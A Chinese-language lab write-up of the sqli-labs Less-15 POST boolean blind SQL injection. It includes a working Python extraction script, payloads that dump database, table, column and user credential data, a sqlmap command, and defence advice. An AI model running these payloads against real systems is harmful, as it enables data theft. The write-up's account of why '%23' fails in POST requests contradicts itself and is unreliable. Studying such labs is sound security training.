1. 项目概述:SQL注入实战之Less-15布尔盲注
最近在复现SQL注入靶场时,遇到了一个有趣的案例——sqli-labs的Less-15关卡。这个关卡的特殊之处在于它只通过页面图片变化来反馈注入结果,属于典型的POST型布尔盲注场景。我在编写自动化脚本时踩了个大坑:GET请求中常用的%23编码在POST请求中竟然失效,调试了半小时才发现必须改用#符号。下面就来详细拆解这个案例的技术细节和避坑经验。
2. 布尔盲注原理与场景分析
2.1 盲注类型判定
当面对一个没有明确错误回显的注入点时,首先需要确认盲注类型。通过测试payload发现:
admin" --触发错误状态admin') --同样报错admin' --返回正常页面
这说明注入点存在单引号字符型注入,且通过页面图片差异(正常显示flag.jpg,错误显示其他图片)来反馈SQL语句执行结果,属于典型的布尔盲注场景。
2.2 GET与POST传参差异
在HTTP协议中,GET和POST处理特殊字符的方式有本质区别:
- GET请求的参数出现在URL中,需要百分号编码(如#编码为%23)
- POST请求的参数在请求体内,通常由表单直接提交原始字符
- 现代Web框架(如PHP的$_POST)会自动处理POST数据解码,多次编码反而会导致解析异常
这就是为什么在之前的GET型注入中可以使用%23,而POST请求必须直接使用#符号的根本原因。
3. 自动化脚本实现详解
3.1 核心脚本结构
python复制import requests as req
# 配置区
url = 'http://127.0.0.1:8080/sql/Less-15/'
success_img = '../images/flag.jpg' # 关键识别标识
# 猜解函数
def blind_injection(select_query):
result = ""
for position in range(1, 100):
for ascii_val in range(32, 127):
payload = {
"uname": f"admin' and ascii(substr(({select_query}),{position},1))={ascii_val}#",
"passwd": "123",
"submit": "Submit"
}
response = req.post(url, data=payload)
if success_img in response.text:
result += chr(ascii_val)
print(f"[+] 当前结果: {result}")
break
if len(result) < position:
return result
return result
3.2 关键参数说明
- success_img:这是识别注入成功的核心标识,必须与页面源码中的图片路径完全一致(包括相对路径符号../)
- payload构造:
- 使用
admin'闭合原始查询 and ascii(substr((查询语句),位置,1))=ASCII值逐字符判断- 结尾的
#注释掉后续SQL(注意不能用%23)
- 使用
- 字符范围:ASCII 32-126覆盖所有可打印字符,避免无效遍历
3.3 常用查询模板
python复制# 查当前数据库
print(blind_injection("select database()"))
# 查所有表名(security数据库)
print(blind_injection("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
# 查users表字段(十六进制绕过引号过滤)
print(blind_injection("select group_concat(column_name) from information_schema.columns where table_name=0x7573657273"))
# 获取用户名密码(使用~分隔符)
print(blind_injection("select group_concat(concat_ws('~',username,password)) from security.users"))
4. 实战中的坑与解决方案
4.1 注释符号问题
现象:
- GET请求使用%23正常
- POST请求使用%23失效,必须改用#
原因:
- PHP的$_POST会对数据进行URL解码处理
- 如果手动编码%23,实际传递给SQL的是解码后的#,导致注释位置错误
解决方案:
python复制# 正确写法(POST请求)
payload = "admin' and 1=1#"
# 错误写法(会导致语法错误)
payload = "admin' and 1=1%23"
4.2 成功标识匹配
常见问题:
- 直接匹配图片文件名(如flag.jpg)可能失败
- 某些框架会输出完整URL路径
正确做法:
- 查看页面源码确认图片引用方式
- 示例中需要匹配
../images/flag.jpg这种相对路径格式
4.3 性能优化技巧
-
二分查找法:将ASCII值范围(32-126)改为二分查找,可将最坏情况从95次尝试降到7次
python复制low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"admin' and ascii(substr(({query}),{pos},1))>{mid}#" if send_payload(payload): low = mid + 1 else: high = mid - 1 -
多线程爆破:对每个字符位置启用独立线程
python复制from concurrent.futures import ThreadPoolExecutor def check_char(pos): # 单个字符检测逻辑 return char with ThreadPoolExecutor(max_workers=10) as executor: results = list(executor.map(check_char, range(1, max_length)))
5. 防御方案与检测方法
5.1 安全开发建议
-
参数化查询:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); -
输入过滤:
- 白名单验证(如用户名只允许字母数字)
- 转义特殊字符(
mysqli_real_escape_string)
-
错误处理:
- 关闭详细错误回显
- 使用统一错误页面
5.2 漏洞检测流程
-
初步探测:
code复制admin' and '1'='1 admin' and '1'='2 -
确认注入类型:
- 时间盲注:
admin' and sleep(5)# - 布尔盲注:
admin' and 1=1#vsadmin' and 1=2#
- 时间盲注:
-
自动化工具验证:
bash复制sqlmap -u "http://target.com/login" --data="uname=admin&passwd=123" --level=3
这个案例让我深刻体会到,即使是看似简单的符号差异,在不同HTTP方法中也可能导致完全不同的行为。建议大家在编写注入脚本时,一定要先手动测试各种符号和编码的组合效果,避免像我一样浪费半小时在调试上。